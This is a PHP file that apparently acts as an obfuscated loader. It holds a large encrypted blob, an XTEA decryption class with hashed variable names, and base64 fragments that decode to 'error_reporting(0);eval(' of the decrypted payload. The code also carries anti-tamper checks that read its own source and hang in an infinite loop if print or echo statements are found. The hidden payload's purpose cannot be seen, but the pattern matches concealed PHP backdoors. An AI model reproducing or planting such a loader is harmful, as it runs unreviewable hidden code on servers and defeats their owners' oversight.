$mdce2462bf288974f3cdad3ccf53bcfaa("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")));class Xtea{ private $key; private $cbc = TRUE; function __construct($mb7d5f48227eab3385ddfff1e6a5d4cff){ $this->key_setup($mb7d5f48227eab3385ddfff1e6a5d4cff); } public function check_implementation(){ $Xtea = new Xtea(""); $m0934c81c21fa520a8e3d6ce21dfd76c6 = array( array(array(0x00000000,0x00000000,0x00000000,0x00000000), array(0x41414141,0x41414141), array(0xed23375a,0x821a8c2d)), array(array(0x00010203,0x04050607,0x08090a0b,0x0c0d0e0f), array(0x41424344,0x45464748), array(0x497df3d0,0x72612cb5)), ); $m767c4d3425474ddf310892258136eae4 = true; foreach($m0934c81c21fa520a8e3d6ce21dfd76c6 AS $m22ccc35cc89f27579f7a4d252b7c3faa){ $mb7d5f48227eab3385ddfff1e6a5d4cff = $m22ccc35cc89f27579f7a4d252b7c3faa[0]; $m0d7d4a6c3a4b82a626f515a3e0ea2e38 = $m22ccc35cc89f27579f7a4d252b7c3faa[1]; $m17a700bfdacd81b54034ba996377097e = $m22ccc35cc89f27579f7a4d252b7c3faa[2]; $Xtea->key_setup($mb7d5f48227eab3385ddfff1e6a5d4cff); $mafefa4846b0ba586edb703328cc3a8e1 = $Xtea->block_encrypt($m22ccc35cc89f27579f7a4d252b7c3faa[1][0],$m22ccc35cc89f27579f7a4d252b7c3faa[1][1]); if((int)$mafefa4846b0ba586edb703328cc3a8e1[0] != (int)$m17a700bfdacd81b54034ba996377097e[0] || (int)$mafefa4846b0ba586edb703328cc3a8e1[1] != (int)$m17a700bfdacd81b54034ba996377097e[1]){ $m767c4d3425474ddf310892258136eae4 = false; } } return $m767c4d3425474ddf310892258136eae4; } public function encrypt($m0e86eedd8faf8271732cd3bc8e683e43){ $m0d7d4a6c3a4b82a626f515a3e0ea2e38 = array(); $m17a700bfdacd81b54034ba996377097e = $this->_str2long(base64_decode($m0e86eedd8faf8271732cd3bc8e683e43)); if($this->cbc){ $m86877db3fd52c024fabbc84075c443e6 = 2; }else{ $m86877db3fd52c024fabbc84075c443e6 = 0; } for($m86877db3fd52c024fabbc84075c443e6; $m86877db3fd52c024fabbc84075c443e6block_decrypt($m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6],$m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6+1]); $mce95254560d94d8c970c7839bbf898ca = __FILE__; $mce95254560d94d8c970c7839bbf898ca = file_get_contents($mce95254560d94d8c970c7839bbf898ca);if(((strpos($mce95254560d94d8c970c7839bbf898ca,base64_decode('KSk7ZXJyb3JfcmVwb3J0aW5nKDApO2V2YWwoJG02YTRh'))!==false&&strpos($mce95254560d94d8c970c7839bbf898ca,base64_decode('JG1jZTk1MjU0NTYwZDk0ZDhjOTcwYzc4MzliYmY4OThjYSA9IF9fRklMRV9fOyAkbWNlOTUyNTQ1NjBkOTRkOGM5NzBjNzgzOWJiZjg5OGNhID0gZmlsZV9nZXRfY29udGVudHMoJG1jZTk1MjU0NTYwZDk0ZDhjOTcwYzc4MzliYmY4OThjYSk7ICRtNzRmMWE2MzBkMjdhMjgzZjUxOWJiMmE0MTI0NmRhMGIgPSAwOyBwcmVnX21hdGNoKGJhc2U2NF9kZWNvZGUoJ0x5aHdjbWx1ZEh4emNISnBiblI4WldOb2J5a3YnKSwgJG1jZTk1MjU0NTYwZDk0ZDhjOTcwYzc4MzliYmY4OThjYSwgJG03NGYxYTYzMGQyN2EyODNmNTE5YmIyYTQxMjQ2ZGEwYik7IGlmIChjb3VudCgkbTc0ZjFhNjMwZDI3YTI4M2Y1MTliYjJhNDEyNDZkYTBiKSkgeyB3aGlsZSgweDE5MyE9MHg2MjcpeyRzdHJibGQ9Y2hyKDc4OTkzKTt9fQ=='))!==false)?1:0)){ $m0d7d4a6c3a4b82a626f515a3e0ea2e38[] = array($mafefa4846b0ba586edb703328cc3a8e1[0]^$m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6-2],$mafefa4846b0ba586edb703328cc3a8e1[1]^$m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6-1]); }else{ $m0d7d4a6c3a4b82a626f515a3e0ea2e38[] = $mafefa4846b0ba586edb703328cc3a8e1; } } $m60b877b22a3dec708aad4fa450932c26 = ''; for($m86877db3fd52c024fabbc84075c443e6 = 0; $m86877db3fd52c024fabbc84075c443e6_long2str($m0d7d4a6c3a4b82a626f515a3e0ea2e38[$m86877db3fd52c024fabbc84075c443e6][0]); $m60b877b22a3dec708aad4fa450932c26 .= $this->_long2str($m0d7d4a6c3a4b82a626f515a3e0ea2e38[$m86877db3fd52c024fabbc84075c443e6][1]); } return rtrim($m60b877b22a3dec708aad4fa450932c26); } public function decrypt($m0e86eedd8faf8271732cd3bc8e683e43){ $mab71312595787e66bcb5b7c35af77e4d = strlen($m0e86eedd8faf8271732cd3bc8e683e43); if($mab71312595787e66bcb5b7c35af77e4d%8 != 0){ $m55d21969ac0b624fc95ab57939eddd88 = ($mab71312595787e66bcb5b7c35af77e4d+(8-($mab71312595787e66bcb5b7c35af77e4d%8))); }else{ $m55d21969ac0b624fc95ab57939eddd88 = 0; } $m0e86eedd8faf8271732cd3bc8e683e43 = str_pad($m0e86eedd8faf8271732cd3bc8e683e43, $m55d21969ac0b624fc95ab57939eddd88, ' '); $m0e86eedd8faf8271732cd3bc8e683e43 = $this->_str2long($m0e86eedd8faf8271732cd3bc8e683e43); if($this->cbc){ $m17a700bfdacd81b54034ba996377097e[0][0] = time(); $m17a700bfdacd81b54034ba996377097e[0][1] = (double)microtime()*1000000; } $m0762d87c77d4d992da267f5ee4c678b0 = 1; for($m86877db3fd52c024fabbc84075c443e6 = 0; $m86877db3fd52c024fabbc84075c443e6cbc){ $m0e86eedd8faf8271732cd3bc8e683e43[$m86877db3fd52c024fabbc84075c443e6] ^= $m17a700bfdacd81b54034ba996377097e[$m0762d87c77d4d992da267f5ee4c678b0-1][0]; $m0e86eedd8faf8271732cd3bc8e683e43[$m86877db3fd52c024fabbc84075c443e6+1] ^= $m17a700bfdacd81b54034ba996377097e[$m0762d87c77d4d992da267f5ee4c678b0-1][1]; } $m17a700bfdacd81b54034ba996377097e[] = $this->block_encrypt($m0e86eedd8faf8271732cd3bc8e683e43[$m86877db3fd52c024fabbc84075c443e6],$m0e86eedd8faf8271732cd3bc8e683e43[$m86877db3fd52c024fabbc84075c443e6+1]); $m0762d87c77d4d992da267f5ee4c678b0++; } $m60b877b22a3dec708aad4fa450932c26 = ""; for($m86877db3fd52c024fabbc84075c443e6 = 0; $m86877db3fd52c024fabbc84075c443e6_long2str($m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6][0]); $m60b877b22a3dec708aad4fa450932c26 .= $this->_long2str($m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6][1]); } return base64_encode($m60b877b22a3dec708aad4fa450932c26); } private function block_decrypt($md5b8e2674ed9278295ee915cbe3843dc, $m070a54ed0c9c83633803e151491f2729){ $mb5bdc679616af29554c1cefeb49684bc=0x9e3779b9; $m6aee867dee075285ea1dda8125bdef4c=0xC6EF3720; $mab71312595787e66bcb5b7c35af77e4d=32; for ($m86877db3fd52c024fabbc84075c443e6=0; $m86877db3fd52c024fabbc84075c443e6<32; $m86877db3fd52c024fabbc84075c443e6++){ $m070a54ed0c9c83633803e151491f2729 = $this->_add($m070a54ed0c9c83633803e151491f2729, -($this->_add($md5b8e2674ed9278295ee915cbe3843dc << 4 ^ $this->_rshift($md5b8e2674ed9278295ee915cbe3843dc, 5), $md5b8e2674ed9278295ee915cbe3843dc) ^ $this->_add($m6aee867dee075285ea1dda8125bdef4c, $this->key[$this->_rshift($m6aee867dee075285ea1dda8125bdef4c, 11) & 3]))); $m6aee867dee075285ea1dda8125bdef4c = $this->_add($m6aee867dee075285ea1dda8125bdef4c, -$mb5bdc679616af29554c1cefeb49684bc); $md5b8e2674ed9278295ee915cbe3843dc = $this->_add($md5b8e2674ed9278295ee915cbe3843dc, -($this->_add($m070a54ed0c9c83633803e151491f2729 << 4 ^ $this->_rshift($m070a54ed0c9c83633803e151491f2729, 5), $m070a54ed0c9c83633803e151491f2729) ^ $this->_add($m6aee867dee075285ea1dda8125bdef4c, $this->key[$m6aee867dee075285ea1dda8125bdef4c & 3]))); } return array($md5b8e2674ed9278295ee915cbe3843dc,$m070a54ed0c9c83633803e151491f2729); } private function block_encrypt($md5b8e2674ed9278295ee915cbe3843dc, $m070a54ed0c9c83633803e151491f2729){ $m6aee867dee075285ea1dda8125bdef4c=0; $mb5bdc679616af29554c1cefeb49684bc=0x9e3779b9; for ($m86877db3fd52c024fabbc84075c443e6=0; $m86877db3fd52c024fabbc84075c443e6<32; $m86877db3fd52c024fabbc84075c443e6++){ $md5b8e2674ed9278295ee915cbe3843dc = $this->_add($md5b8e2674ed9278295ee915cbe3843dc, $this->_add($m070a54ed0c9c83633803e151491f2729 << 4 ^ $this->_rshift($m070a54ed0c9c83633803e151491f2729, 5), $m070a54ed0c9c83633803e151491f2729) ^ $this->_add($m6aee867dee075285ea1dda8125bdef4c, $this->key[$m6aee867dee075285ea1dda8125bdef4c & 3])); $m6aee867dee075285ea1dda8125bdef4c = $this->_add($m6aee867dee075285ea1dda8125bdef4c, $mb5bdc679616af29554c1cefeb49684bc); $m070a54ed0c9c83633803e151491f2729 = $this->_add($m070a54ed0c9c83633803e151491f2729, $this->_add($md5b8e2674ed9278295ee915cbe3843dc << 4 ^ $this->_rshift($md5b8e2674ed9278295ee915cbe3843dc, 5), $md5b8e2674ed9278295ee915cbe3843dc) ^ $this->_add($m6aee867dee075285ea1dda8125bdef4c, $this->key[$this->_rshift($m6aee867dee075285ea1dda8125bdef4c, 11) & 3])); } $m143358d7a4c39832d0fda7d6f8f1f406[0]=$md5b8e2674ed9278295ee915cbe3843dc; $m143358d7a4c39832d0fda7d6f8f1f406[1]=$m070a54ed0c9c83633803e151491f2729; return array($md5b8e2674ed9278295ee915cbe3843dc,$m070a54ed0c9c83633803e151491f2729); } private function key_setup($mb7d5f48227eab3385ddfff1e6a5d4cff){ if(is_array($mb7d5f48227eab3385ddfff1e6a5d4cff)){ $this->key = $mb7d5f48227eab3385ddfff1e6a5d4cff; }else if(isset($mb7d5f48227eab3385ddfff1e6a5d4cff) && !empty($mb7d5f48227eab3385ddfff1e6a5d4cff)){ $this->key = $this->_str2long(str_pad($mb7d5f48227eab3385ddfff1e6a5d4cff, 16, $mb7d5f48227eab3385ddfff1e6a5d4cff)); }else{ $this->key = array(0,0,0,0); } } private function _add($m77b053060c4fd6c2f76105adcd81a538, $m6b765d750a748862efef31f0dcc13fd6){ $m04eba2b9ac97e2a2dd31141a9a544484 = 0.0; foreach (func_get_args() as $mc777235eddedb8674a94a6a77945f32c){ if (0.0 > $mc777235eddedb8674a94a6a77945f32c){ $mc777235eddedb8674a94a6a77945f32c -= 1.0 + 0xffffffff; } $m04eba2b9ac97e2a2dd31141a9a544484 += $mc777235eddedb8674a94a6a77945f32c; } if (0xffffffff < $m04eba2b9ac97e2a2dd31141a9a544484 || -0xffffffff > $m04eba2b9ac97e2a2dd31141a9a544484){ $m04eba2b9ac97e2a2dd31141a9a544484 = fmod($m04eba2b9ac97e2a2dd31141a9a544484, 0xffffffff + 1); } if (0x7fffffff < $m04eba2b9ac97e2a2dd31141a9a544484){ $m04eba2b9ac97e2a2dd31141a9a544484 -= 0xffffffff + 1.0; }elseif (-0x80000000 > $m04eba2b9ac97e2a2dd31141a9a544484){ $m04eba2b9ac97e2a2dd31141a9a544484 += 0xffffffff + 1.0; } return $m04eba2b9ac97e2a2dd31141a9a544484; } private function _long2str($m0a83fa7cf0ee62a83b981cd58bcfa970){ return pack('N', $m0a83fa7cf0ee62a83b981cd58bcfa970); } private function _rshift($m3780f0040767a132b5cfee79cde23eec, $mab71312595787e66bcb5b7c35af77e4d){ if (0xffffffff < $m3780f0040767a132b5cfee79cde23eec || -0xffffffff > $m3780f0040767a132b5cfee79cde23eec){ $m3780f0040767a132b5cfee79cde23eec = fmod($m3780f0040767a132b5cfee79cde23eec, 0xffffffff + 1); } if (0x7fffffff < $m3780f0040767a132b5cfee79cde23eec){ $m3780f0040767a132b5cfee79cde23eec -= 0xffffffff + 1.0; }elseif (-0x80000000 > $m3780f0040767a132b5cfee79cde23eec){ $m3780f0040767a132b5cfee79cde23eec += 0xffffffff + 1.0; } if (0 > $m3780f0040767a132b5cfee79cde23eec){ $m3780f0040767a132b5cfee79cde23eec &= 0x7fffffff; $m3780f0040767a132b5cfee79cde23eec >>= $mab71312595787e66bcb5b7c35af77e4d; $m3780f0040767a132b5cfee79cde23eec |= 1 << (31 - $mab71312595787e66bcb5b7c35af77e4d); }else{ $m3780f0040767a132b5cfee79cde23eec >>= $mab71312595787e66bcb5b7c35af77e4d; } return $m3780f0040767a132b5cfee79cde23eec; } private function _str2long($m0bc74e7a5c67648ac48e372f9ee01ef2){ $mab71312595787e66bcb5b7c35af77e4d = strlen($m0bc74e7a5c67648ac48e372f9ee01ef2); $m0ccf583ca40ed6f47351336bd86d17fc = unpack('N*', $m0bc74e7a5c67648ac48e372f9ee01ef2); $m4ebc5fc75b2ed8bc6cc358d63bcb8245 = array(); $mb11b9152b73fc2e33e62b4985db4d60f = 0; foreach ($m0ccf583ca40ed6f47351336bd86d17fc as $mc777235eddedb8674a94a6a77945f32c){ $m4ebc5fc75b2ed8bc6cc358d63bcb8245[$mb11b9152b73fc2e33e62b4985db4d60f++] = $mc777235eddedb8674a94a6a77945f32c; } return $m4ebc5fc75b2ed8bc6cc358d63bcb8245; } } function WIAvzbLSFYslsVwlqokVNFFQRqZtAihxR($m74f51a33e1c412e4d00b78906d6e0c2f) { $m2118d22d991cc8bfb66304d5bd2ee973=""; $mebbc003b7fe27b2cf4dff8b7a332d39b = ''; $mce95254560d94d8c970c7839bbf898ca = __FILE__; $mce95254560d94d8c970c7839bbf898ca = file_get_contents($mce95254560d94d8c970c7839bbf898ca); $m74f1a630d27a283f519bb2a41246da0b = 0; preg_match(base64_decode('LyhwcmludHxzcHJpbnR8ZWNobykv'), $mce95254560d94d8c970c7839bbf898ca, $m74f1a630d27a283f519bb2a41246da0b); if (count($m74f1a630d27a283f519bb2a41246da0b)) { while(0x193!=0x627){$strbld=chr(78993);}} $m184966639caf361425b481dbebe88c5d = ceil(strlen($m74f51a33e1c412e4d00b78906d6e0c2f)/3)*3; $mf65300264d5b1d9370f2563e5e6ee006 = str_pad($m74f51a33e1c412e4d00b78906d6e0c2f,$m184966639caf361425b481dbebe88c5d,'0',STR_PAD_LEFT); for ($m86877db3fd52c024fabbc84075c443e6=0; $m86877db3fd52c024fabbc84075c443e6<(strlen($mf65300264d5b1d9370f2563e5e6ee006)/3); $m86877db3fd52c024fabbc84075c443e6++) { $mebbc003b7fe27b2cf4dff8b7a332d39b .= chr(substr(strval($mf65300264d5b1d9370f2563e5e6ee006), $m86877db3fd52c024fabbc84075c443e6*3, 3)); } return $mebbc003b7fe27b2cf4dff8b7a332d39b; } ?>